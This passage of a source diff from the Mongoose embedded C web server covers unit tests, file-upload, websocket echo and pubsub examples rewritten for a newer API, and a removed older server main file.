ASSERT(mg_parse_multipart("a", 1, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
|
||||
ASSERT((n = mg_parse_multipart(f1, f1_len, a, sizeof(a),
|
||||
b, sizeof(b), &p, &len)) > 0);
|
||||
ASSERT(len == 12);
|
||||
ASSERT(memcmp(p, "some_content", len) == 0);
|
||||
ASSERT(strcmp(a, "f1") == 0);
|
||||
ASSERT(b[0] == '\0');
|
||||
|
||||
ASSERT((n2 = mg_parse_multipart(f1 + n, f1_len - n, a, sizeof(a),
|
||||
b, sizeof(b), &p, &len)) > 0);
|
||||
ASSERT(len == 15);
|
||||
ASSERT(memcmp(p, "another_content", len) == 0);
|
||||
ASSERT(strcmp(a, "f2") == 0);
|
||||
ASSERT(strcmp(b, "foo bar.txt") == 0);
|
||||
|
||||
ASSERT((n2 = mg_parse_multipart(f1 + n + n2, f1_len - (n + n2), a, sizeof(a),
|
||||
b, sizeof(b), &p, &len)) == 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int evh2(struct mg_connection *conn, enum mg_event ev) {
|
||||
char *file_data, *cp = (char *) conn->connection_param;
|
||||
int file_size, result = MG_FALSE;
|
||||
|
||||
switch (ev) {
|
||||
case MG_AUTH:
|
||||
result = MG_TRUE;
|
||||
break;
|
||||
case MG_CONNECT:
|
||||
mg_printf(conn, "GET /%s HTTP/1.0\r\n\r\n", cp);
|
||||
result = MG_TRUE;
|
||||
break;
|
||||
case MG_REQUEST:
|
||||
break;
|
||||
case MG_REPLY:
|
||||
file_data = read_file("unit_test.c", &file_size);
|
||||
sprintf(cp, "%d %s", (size_t) file_size == conn->content_len &&
|
||||
memcmp(file_data, conn->content, file_size) == 0 ? 1 : 0,
|
||||
conn->query_string == NULL ? "?" : conn->query_string);
|
||||
free(file_data);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static const char *test_mg_set_option(void) {
|
||||
struct mg_server *server = mg_create_server(NULL, NULL);
|
||||
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
|
||||
ASSERT(mg_get_option(server, "listening_port")[0] != '\0');
|
||||
mg_destroy_server(&server);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_rewrites(void) {
|
||||
char buf1[100] = "xx";
|
||||
struct mg_server *server = mg_create_server(NULL, evh2);
|
||||
struct mg_connection *conn;
|
||||
const char *port;
|
||||
|
||||
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
|
||||
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
|
||||
ASSERT(mg_set_option(server, "url_rewrites", "/xx=unit_test.c") == NULL);
|
||||
ASSERT((port = mg_get_option(server, "listening_port")) != NULL);
|
||||
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(port), 0)) != NULL);
|
||||
conn->connection_param = buf1;
|
||||
|
||||
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
|
||||
|
||||
ASSERT(strcmp(buf1, "1 ?") == 0);
|
||||
mg_destroy_server(&server);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *run_all_tests(void) {
|
||||
RUN_TEST(test_should_keep_alive);
|
||||
RUN_TEST(test_match_prefix);
|
||||
RUN_TEST(test_remove_double_dots);
|
||||
RUN_TEST(test_parse_http_message);
|
||||
RUN_TEST(test_to64);
|
||||
RUN_TEST(test_url_decode);
|
||||
RUN_TEST(test_url_encode);
|
||||
RUN_TEST(test_base64_encode);
|
||||
RUN_TEST(test_mg_parse_header);
|
||||
RUN_TEST(test_get_var);
|
||||
RUN_TEST(test_next_option);
|
||||
RUN_TEST(test_parse_multipart);
|
||||
RUN_TEST(test_mg_set_option);
|
||||
RUN_TEST(test_server);
|
||||
RUN_TEST(test_rewrites);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int __cdecl main(void) {
|
||||
const char *fail_msg = run_all_tests();
|
||||
printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
|
||||
return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
|
||||
}
|
||||
+43
-42
@@ -3,57 +3,58 @@
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdlib.h>
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
#include <io.h>
|
||||
#define strtoll strtol
|
||||
typedef __int64 int64_t;
|
||||
#else
|
||||
#include <inttypes.h>
|
||||
#include <unistd.h>
|
||||
#endif // !_WIN32
|
||||
|
||||
#include "mongoose.h"
|
||||
|
||||
static void *callback(enum mg_event event, struct mg_connection *conn) {
|
||||
if (event == MG_NEW_REQUEST) {
|
||||
if (!strcmp(mg_get_request_info(conn)->uri, "/handle_post_request")) {
|
||||
mg_printf(conn, "%s", "HTTP/1.0 200 OK\r\n\r\n");
|
||||
mg_upload(conn, "/tmp");
|
||||
} else {
|
||||
// Show HTML form. Make sure it has enctype="multipart/form-data" attr.
|
||||
static const char *html_form =
|
||||
"<html><body>Upload example."
|
||||
"<form method=\"POST\" action=\"/handle_post_request\" "
|
||||
" enctype=\"multipart/form-data\">"
|
||||
"<input type=\"file\" name=\"file\" /> <br/>"
|
||||
"<input type=\"submit\" value=\"Upload\" />"
|
||||
"</form></body></html>";
|
||||
static int send_index_page(struct mg_connection *conn) {
|
||||
const char *data;
|
||||
int data_len, ofs = 0;
|
||||
char var_name[100], file_name[100];
|
||||
|
||||
mg_printf(conn, "HTTP/1.0 200 OK\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"Content-Type: text/html\r\n\r\n%s",
|
||||
(int) strlen(html_form), html_form);
|
||||
}
|
||||
// Mark as processed
|
||||
return "";
|
||||
} else if (event == MG_UPLOAD) {
|
||||
mg_printf(conn, "Saved [%s]", mg_get_request_info(conn)->ev_data);
|
||||
mg_printf_data(conn, "%s",
|
||||
"<html><body>Upload example."
|
||||
"<form method=\"POST\" action=\"/handle_post_request\" "
|
||||
" enctype=\"multipart/form-data\">"
|
||||
"<input type=\"file\" name=\"file\" /> <br/>"
|
||||
"<input type=\"text\" name=\"input1\" value=hello! /> <br/>"
|
||||
"<input type=\"submit\" value=\"Upload\" />"
|
||||
"</form>");
|
||||
|
||||
while ((ofs = mg_parse_multipart(conn->content + ofs, conn->content_len - ofs,
|
||||
var_name, sizeof(var_name),
|
||||
file_name, sizeof(file_name),
|
||||
&data, &data_len)) > 0) {
|
||||
mg_printf_data(conn, "var: %s, file_name: %s, size: %d bytes<br>",
|
||||
var_name, file_name, data_len);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
mg_printf_data(conn, "%s", "</body></html>");
|
||||
|
||||
return MG_TRUE;
|
||||
}
|
||||
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
switch (ev) {
|
||||
case MG_AUTH: return MG_TRUE;
|
||||
case MG_REQUEST: return send_index_page(conn);
|
||||
default: return MG_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_context *ctx;
|
||||
const char *options[] = {"listening_ports", "8080", NULL};
|
||||
struct mg_server *server;
|
||||
|
||||
ctx = mg_start(&callback, NULL, options);
|
||||
getchar(); // Wait until user hits "enter"
|
||||
pause();
|
||||
mg_stop(ctx);
|
||||
// Create and configure the server
|
||||
server = mg_create_server(NULL, ev_handler);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
|
||||
// Serve request. Hit Ctrl-C to terminate the program
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
|
||||
// Cleanup, and free server instance
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
+51
-59
@@ -1,75 +1,67 @@
|
||||
// Copyright (c) 2004-2012 Sergey Lyubka
|
||||
// This file is a part of mongoose project, http://github.com/valenok/mongoose
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static void *callback(enum mg_event event, struct mg_connection *conn) {
|
||||
if (event == MG_WEBSOCKET_READY) {
|
||||
unsigned char buf[40];
|
||||
buf[0] = 0x81;
|
||||
buf[1] = snprintf((char *) buf + 2, sizeof(buf) - 2, "%s", "server ready");
|
||||
mg_write(conn, buf, 2 + buf[1]);
|
||||
return ""; // MG_WEBSOCKET_READY return value is ignored
|
||||
} else if (event == MG_WEBSOCKET_MESSAGE) {
|
||||
unsigned char buf[200], reply[200];
|
||||
int n, i, mask_len, xor, msg_len, len;
|
||||
#ifdef _WIN32
|
||||
#define snprintf _snprintf
|
||||
#endif
|
||||
|
||||
// Read message from the client.
|
||||
// Accept only small (<126 bytes) messages.
|
||||
len = 0;
|
||||
msg_len = mask_len = 0;
|
||||
for (;;) {
|
||||
if ((n = mg_read(conn, buf + len, sizeof(buf) - len)) <= 0) {
|
||||
return ""; // Read error, close websocket
|
||||
}
|
||||
len += n;
|
||||
if (len >= 2) {
|
||||
msg_len = buf[1] & 127;
|
||||
mask_len = (buf[1] & 128) ? 4 : 0;
|
||||
if (msg_len > 125) {
|
||||
return ""; // Message is too long, close websocket
|
||||
}
|
||||
// If we've buffered the whole message, exit the loop
|
||||
if (len >= 2 + mask_len + msg_len) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
extern const char *find_embedded_file(const char *, size_t *);
|
||||
|
||||
// Prepare frame
|
||||
reply[0] = 0x81; // text, FIN set
|
||||
reply[1] = msg_len;
|
||||
static int iterate_callback(struct mg_connection *c, enum mg_event ev) {
|
||||
if (ev == MG_POLL && c->is_websocket) {
|
||||
char buf[20];
|
||||
int len = snprintf(buf, sizeof(buf), "%lu",
|
||||
(unsigned long) * (time_t *) c->callback_param);
|
||||
mg_websocket_write(c, 1, buf, len);
|
||||
}
|
||||
return MG_TRUE;
|
||||
}
|
||||
|
||||
// Copy message from request to reply, applying the mask if required.
|
||||
for (i = 0; i < msg_len; i++) {
|
||||
xor = mask_len == 0 ? 0 : buf[2 + (i % 4)];
|
||||
reply[i + 2] = buf[i + 2 + mask_len] ^ xor;
|
||||
}
|
||||
static int send_reply(struct mg_connection *conn) {
|
||||
size_t index_size;
|
||||
const char *index_html = find_embedded_file("websocket.html", &index_size);
|
||||
|
||||
// Echo the message back to the client
|
||||
mg_write(conn, reply, 2 + msg_len);
|
||||
|
||||
// Return non-NULL means stoping websocket conversation.
|
||||
// Close the conversation if client has sent us "exit" string.
|
||||
return memcmp(reply + 2, "exit", 4) == 0 ? "" : NULL;
|
||||
if (conn->is_websocket) {
|
||||
// This handler is called for each incoming websocket frame, one or more
|
||||
// times for connection lifetime.
|
||||
// Echo websocket data back to the client.
|
||||
mg_websocket_write(conn, 1, conn->content, conn->content_len);
|
||||
return conn->content_len == 4 && !memcmp(conn->content, "exit", 4) ?
|
||||
MG_FALSE : MG_TRUE;
|
||||
} else {
|
||||
return NULL;
|
||||
mg_send_header(conn, "Content-Type", "text/html");
|
||||
mg_send_data(conn, index_html, index_size);
|
||||
return MG_TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
if (ev == MG_REQUEST) {
|
||||
return send_reply(conn);
|
||||
} else if (ev == MG_AUTH) {
|
||||
return MG_TRUE;
|
||||
} else {
|
||||
return MG_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_context *ctx;
|
||||
const char *options[] = {
|
||||
"listening_ports", "8080",
|
||||
"document_root", "websocket_html_root",
|
||||
NULL
|
||||
};
|
||||
struct mg_server *server = mg_create_server(NULL, ev_handler);
|
||||
time_t current_timer = 0, last_timer = time(NULL);
|
||||
|
||||
ctx = mg_start(&callback, NULL, options);
|
||||
getchar(); // Wait until user hits "enter"
|
||||
mg_stop(ctx);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
|
||||
printf("Started on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 100);
|
||||
current_timer = time(NULL);
|
||||
if (current_timer - last_timer > 0) {
|
||||
last_timer = current_timer;
|
||||
mg_iterate_over_connections(server, iterate_callback, ¤t_timer);
|
||||
}
|
||||
}
|
||||
|
||||
mg_destroy_server(&server);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
<!DOCTYPE html>
|
||||
<meta charset="utf-8" />
|
||||
<title>WebSocket Test</title>
|
||||
<script language="javascript" type="text/javascript">
|
||||
|
||||
var out = function(message) {
|
||||
var div = document.createElement('div');
|
||||
div.innerHTML = message;
|
||||
document.getElementById('output').appendChild(div);
|
||||
};
|
||||
|
||||
window.onload = function() {
|
||||
var url = 'ws://' + location.host + '/ws';
|
||||
var num_messages = 0;
|
||||
|
||||
websocket = new WebSocket(url);
|
||||
websocket.onopen = function(ev) {
|
||||
out('CONNECTED');
|
||||
var msg = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
|
||||
out('SENT: ' + msg);
|
||||
websocket.send(msg);
|
||||
};
|
||||
websocket.onclose = function(ev) {
|
||||
out('DISCONNECTED');
|
||||
};
|
||||
websocket.onmessage = function(ev) {
|
||||
if (!ev.data) {
|
||||
out('<span style="color: blue;">PING... </span>');
|
||||
} else {
|
||||
out('<span style="color: blue;">RESPONSE: ' + ev.data + ' </span>');
|
||||
num_messages++;
|
||||
}
|
||||
if (num_messages > 3) {
|
||||
websocket.send('exit');
|
||||
}
|
||||
};
|
||||
websocket.onerror = function(ev) {
|
||||
out('<span style="color: red; ">ERROR: </span> ' + ev.data);
|
||||
};
|
||||
};
|
||||
</script>
|
||||
<style> div {font: small Verdana; } </style>
|
||||
<h2>Mongoose WebSocket Test</h2>
|
||||
|
||||
<div id="output"></div>
|
||||
</html>
|
||||
@@ -0,0 +1,80 @@
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static int s_signal_received = 0;
|
||||
static struct mg_server *s_server = NULL;
|
||||
|
||||
// Data associated with each websocket connection
|
||||
struct conn_data {
|
||||
int room;
|
||||
};
|
||||
|
||||
static void signal_handler(int sig_num) {
|
||||
signal(sig_num, signal_handler); // Reinstantiate signal handler
|
||||
s_signal_received = sig_num;
|
||||
}
|
||||
|
||||
static void handle_websocket_message(struct mg_connection *conn) {
|
||||
struct conn_data *d = (struct conn_data *) conn->connection_param;
|
||||
struct mg_connection *c;
|
||||
|
||||
printf("[%.*s]\n", (int) conn->content_len, conn->content);
|
||||
if (conn->content_len > 5 && !memcmp(conn->content, "join ", 5)) {
|
||||
// Client joined new room
|
||||
d->room = conn->content[5];
|
||||
} else if (conn->content_len > 4 && !memcmp(conn->content, "msg ", 4) &&
|
||||
d->room != 0 && d->room != '?') {
|
||||
// Client has sent a message. Push this message to all clients
|
||||
// that are subscribed to the same room as client
|
||||
for (c = mg_next(s_server, NULL); c != NULL; c = mg_next(s_server, c)) {
|
||||
struct conn_data *d2 = (struct conn_data *) c->connection_param;
|
||||
if (!c->is_websocket || d2->room != d->room) continue;
|
||||
mg_websocket_printf(c, WEBSOCKET_OPCODE_TEXT, "msg %c %p %.*s",
|
||||
(char) d->room, conn,
|
||||
conn->content_len - 4, conn->content + 4);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
switch (ev) {
|
||||
case MG_REQUEST:
|
||||
if (conn->is_websocket) {
|
||||
handle_websocket_message(conn);
|
||||
return MG_TRUE;
|
||||
} else {
|
||||
mg_send_file(conn, "pubsub.html"); // Return MG_MORE after mg_send_file()
|
||||
return MG_MORE;
|
||||
}
|
||||
case MG_WS_CONNECT:
|
||||
// New websocket connection. Send connection ID back to the client.
|
||||
conn->connection_param = calloc(1, sizeof(struct conn_data));
|
||||
mg_websocket_printf(conn, WEBSOCKET_OPCODE_TEXT, "id %p", conn);
|
||||
return MG_FALSE;
|
||||
case MG_CLOSE:
|
||||
free(conn->connection_param);
|
||||
return MG_TRUE;
|
||||
case MG_AUTH:
|
||||
return MG_TRUE;
|
||||
default:
|
||||
return MG_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
s_server = mg_create_server(NULL, ev_handler);
|
||||
mg_set_option(s_server, "listening_port", "8080");
|
||||
|
||||
signal(SIGTERM, signal_handler);
|
||||
signal(SIGINT, signal_handler);
|
||||
|
||||
printf("Started on port %s\n", mg_get_option(s_server, "listening_port"));
|
||||
while (s_signal_received == 0) {
|
||||
mg_poll_server(s_server, 100);
|
||||
}
|
||||
mg_destroy_server(&s_server);
|
||||
return 0;
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<meta charset="utf-8" />
|
||||
<title>WebSocket Test</title>
|
||||
<script language="javascript" type="text/javascript">
|
||||
|
||||
var writeToScreen = function(message) {
|
||||
var div = document.createElement('div');
|
||||
div.innerHTML = message;
|
||||
document.getElementById('output').appendChild(div);
|
||||
};
|
||||
window.onload = function() {
|
||||
var url = 'ws://' + window.location.host + '/foo';
|
||||
websocket = new WebSocket(url);
|
||||
websocket.onopen = function(ev) {
|
||||
writeToScreen('CONNECTED');
|
||||
var message = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
|
||||
writeToScreen('SENT: ' + message);
|
||||
websocket.send(message);
|
||||
};
|
||||
websocket.onclose = function(ev) {
|
||||
writeToScreen('DISCONNECTED');
|
||||
};
|
||||
websocket.onmessage = function(ev) {
|
||||
writeToScreen('<span style="color: blue;">RESPONSE: ' + ev.data +
|
||||
' </span>');
|
||||
websocket.send('exit');
|
||||
};
|
||||
websocket.onerror = function(ev) {
|
||||
writeToScreen('<span style="color: red; ">ERROR: </span> ' + ev.data);
|
||||
};
|
||||
};
|
||||
</script>
|
||||
<style> div {font: small Verdana; } </style>
|
||||
<h2>Mongoose WebSocket Test</h2>
|
||||
|
||||
<div style="width: 400px; color: #aaa; padding: 1em; ">
|
||||
This page code creates websocket to the URI "/foo",
|
||||
sends a message to it, waits for the reply, then sends an "exit" message.
|
||||
Server must echo all messages back, and terminate the conversation after
|
||||
receiving the "exit" message.
|
||||
</div>
|
||||
|
||||
<div id="output"></div>
|
||||
</html>
|
||||
@@ -1,511 +0,0 @@
|
||||
// Copyright (c) 2004-2011 Sergey Lyubka
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
|
||||
#if defined(_WIN32)
|
||||
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
|
||||
#else
|
||||
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
|
||||
#endif
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <limits.h>
|
||||
#include <stddef.h>
|
||||
#include <stdarg.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include "mongoose.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
#include <winsvc.h>
|
||||
#define PATH_MAX MAX_PATH
|
||||
#define S_ISDIR(x) ((x) & _S_IFDIR)
|
||||
#define DIRSEP '\\'
|
||||
#define snprintf _snprintf
|
||||
#define vsnprintf _vsnprintf
|
||||
#define sleep(x) Sleep((x) * 1000)
|
||||
#define WINCDECL __cdecl
|
||||
#else
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#define DIRSEP '/'
|
||||
#define WINCDECL
|
||||
#endif // _WIN32
|
||||
|
||||
#define MAX_OPTIONS 40
|
||||
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
|
||||
|
||||
static int exit_flag;
|
||||
static char server_name[40]; // Set by init_server_name()
|
||||
static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
|
||||
static struct mg_context *ctx; // Set by start_mongoose()
|
||||
|
||||
#if !defined(CONFIG_FILE)
|
||||
#define CONFIG_FILE "mongoose.conf"
|
||||
#endif /* !CONFIG_FILE */
|
||||
|
||||
static void WINCDECL signal_handler(int sig_num) {
|
||||
exit_flag = sig_num;
|
||||
}
|
||||
|
||||
static void die(const char *fmt, ...) {
|
||||
va_list ap;
|
||||
char msg[200];
|
||||
|
||||
va_start(ap, fmt);
|
||||
vsnprintf(msg, sizeof(msg), fmt, ap);
|
||||
va_end(ap);
|
||||
|
||||
#if defined(_WIN32)
|
||||
MessageBox(NULL, msg, "Error", MB_OK);
|
||||
#else
|
||||
fprintf(stderr, "%s\n", msg);
|
||||
#endif
|
||||
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void show_usage_and_exit(void) {
|
||||
const char **names;
|
||||
int i;
|
||||
|
||||
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built %s\n",
|
||||
mg_version(), __DATE__);
|
||||
fprintf(stderr, "Usage:\n");
|
||||
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
|
||||
fprintf(stderr, " mongoose <config_file>\n");
|
||||
fprintf(stderr, " mongoose [-option value ...]\n");
|
||||
fprintf(stderr, "\nOPTIONS:\n");
|
||||
|
||||
names = mg_get_valid_option_names();
|
||||
for (i = 0; names[i] != NULL; i += 3) {
|
||||
fprintf(stderr, " -%s %s (default: \"%s\")\n",
|
||||
names[i], names[i + 1], names[i + 2] == NULL ? "" : names[i + 2]);
|
||||
}
|
||||
fprintf(stderr, "\nSee http://code.google.com/p/mongoose/wiki/MongooseManual"
|
||||
" for more details.\n");
|
||||
fprintf(stderr, "Example:\n mongoose -s cert.pem -p 80,443s -d no\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void verify_document_root(const char *root) {
|
||||
const char *p, *path;
|
||||
char buf[PATH_MAX];
|
||||
struct stat st;
|
||||
|
||||
path = root;
|
||||
if ((p = strchr(root, ',')) != NULL && (size_t) (p - root) < sizeof(buf)) {
|
||||
memcpy(buf, root, p - root);
|
||||
buf[p - root] = '\0';
|
||||
path = buf;
|
||||
}
|
||||
|
||||
if (stat(path, &st) != 0 || !S_ISDIR(st.st_mode)) {
|
||||
die("Invalid root directory: [%s]: %s", root, strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static char *sdup(const char *str) {
|
||||
char *p;
|
||||
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
|
||||
strcpy(p, str);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
static void set_option(char **options, const char *name, const char *value) {
|
||||
int i;
|
||||
|
||||
if (!strcmp(name, "document_root") || !(strcmp(name, "r"))) {
|
||||
verify_document_root(value);
|
||||
}
|
||||
|
||||
for (i = 0; i < MAX_OPTIONS - 3; i++) {
|
||||
if (options[i] == NULL) {
|
||||
options[i] = sdup(name);
|
||||
options[i + 1] = sdup(value);
|
||||
options[i + 2] = NULL;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (i == MAX_OPTIONS - 3) {
|
||||
die("%s", "Too many options specified");
|
||||
}
|
||||
}
|
||||
|
||||
static void process_command_line_arguments(char *argv[], char **options) {
|
||||
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
|
||||
FILE *fp = NULL;
|
||||
size_t i, cmd_line_opts_start = 1, line_no = 0;
|
||||
|
||||
options[0] = NULL;
|
||||
|
||||
// Should we use a config file ?
|
||||
if (argv[1] != NULL && argv[1][0] != '-') {
|
||||
snprintf(config_file, sizeof(config_file), "%s", argv[1]);
|
||||
cmd_line_opts_start = 2;
|
||||
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
|
||||
// No command line flags specified. Look where binary lives
|
||||
snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
|
||||
} else {
|
||||
snprintf(config_file, sizeof(config_file), "%.*s%c%s",
|
||||
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
|
||||
}
|
||||
|
||||
fp = fopen(config_file, "r");
|
||||
|
||||
// If config file was set in command line and open failed, die
|
||||
if (cmd_line_opts_start == 2 && fp == NULL) {
|
||||
die("Cannot open config file %s: %s", config_file, strerror(errno));
|
||||
}
|
||||
|
||||
// Load config file settings first
|
||||
if (fp != NULL) {
|
||||
fprintf(stderr, "Loading config file %s\n", config_file);
|
||||
|
||||
// Loop over the lines in config file
|
||||
while (fgets(line, sizeof(line), fp) != NULL) {
|
||||
|
||||
line_no++;
|
||||
|
||||
// Ignore empty lines and comments
|
||||
for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
|
||||
if (line[i] == '#' || line[i] == '\0')
|
||||
continue;
|
||||
|
||||
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
|
||||
die("%s: line %d is invalid", config_file, (int) line_no);
|
||||
}
|
||||
set_option(options, opt, val);
|
||||
}
|
||||
|
||||
(void) fclose(fp);
|
||||
}
|
||||
|
||||
// Handle command line flags. They override config file and default settings.
|
||||
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
|
||||
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
set_option(options, &argv[i][1], argv[i + 1]);
|
||||
}
|
||||
}
|
||||
|
||||
static void init_server_name(void) {
|
||||
snprintf(server_name, sizeof(server_name), "Mongoose web server v. %s",
|
||||
mg_version());
|
||||
}
|
||||
|
||||
static void *mongoose_callback(enum mg_event ev, struct mg_connection *conn) {
|
||||
if (ev == MG_EVENT_LOG) {
|
||||
printf("%s\n", (const char *) mg_get_request_info(conn)->ev_data);
|
||||
}
|
||||
|
||||
// Returning NULL marks request as not handled, signalling mongoose to
|
||||
// proceed with handling it.
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void start_mongoose(int argc, char *argv[]) {
|
||||
char *options[MAX_OPTIONS];
|
||||
int i;
|
||||
|
||||
// Edit passwords file if -A option is specified
|
||||
if (argc > 1 && !strcmp(argv[1], "-A")) {
|
||||
if (argc != 6) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
exit(mg_modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
|
||||
EXIT_SUCCESS : EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Show usage if -h or --help options are specified
|
||||
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
|
||||
/* Update config based on command line arguments */
|
||||
process_command_line_arguments(argv, options);
|
||||
|
||||
/* Setup signal handler: quit on Ctrl-C */
|
||||
signal(SIGTERM, signal_handler);
|
||||
signal(SIGINT, signal_handler);
|
||||
|
||||
/* Start Mongoose */
|
||||
ctx = mg_start(&mongoose_callback, NULL, (const char **) options);
|
||||
for (i = 0; options[i] != NULL; i++) {
|
||||
free(options[i]);
|
||||
}
|
||||
|
||||
if (ctx == NULL) {
|
||||
die("%s", "Failed to start Mongoose.");
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
static SERVICE_STATUS ss;
|
||||
static SERVICE_STATUS_HANDLE hStatus;
|
||||
static const char *service_magic_argument = "--";
|
||||
|
||||
static void WINAPI ControlHandler(DWORD code) {
|
||||
if (code == SERVICE_CONTROL_STOP || code == SERVICE_CONTROL_SHUTDOWN) {
|
||||
ss.dwWin32ExitCode = 0;
|
||||
ss.dwCurrentState = SERVICE_STOPPED;
|
||||
}
|
||||
SetServiceStatus(hStatus, &ss);
|
||||
}
|
||||
|
||||
static void WINAPI ServiceMain(void) {
|
||||
ss.dwServiceType = SERVICE_WIN32;
|
||||
ss.dwCurrentState = SERVICE_RUNNING;
|
||||
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
||||
|
||||
hStatus = RegisterServiceCtrlHandler(server_name, ControlHandler);
|
||||
SetServiceStatus(hStatus, &ss);
|
||||
|
||||
while (ss.dwCurrentState == SERVICE_RUNNING) {
|
||||
Sleep(1000);
|
||||
}
|
||||
mg_stop(ctx);
|
||||
|
||||
ss.dwCurrentState = SERVICE_STOPPED;
|
||||
ss.dwWin32ExitCode = (DWORD) -1;
|
||||
SetServiceStatus(hStatus, &ss);
|
||||
}
|
||||
|
||||
#define ID_TRAYICON 100
|
||||
#define ID_QUIT 101
|
||||
#define ID_EDIT_CONFIG 102
|
||||
#define ID_SEPARATOR 103
|
||||
#define ID_INSTALL_SERVICE 104
|
||||
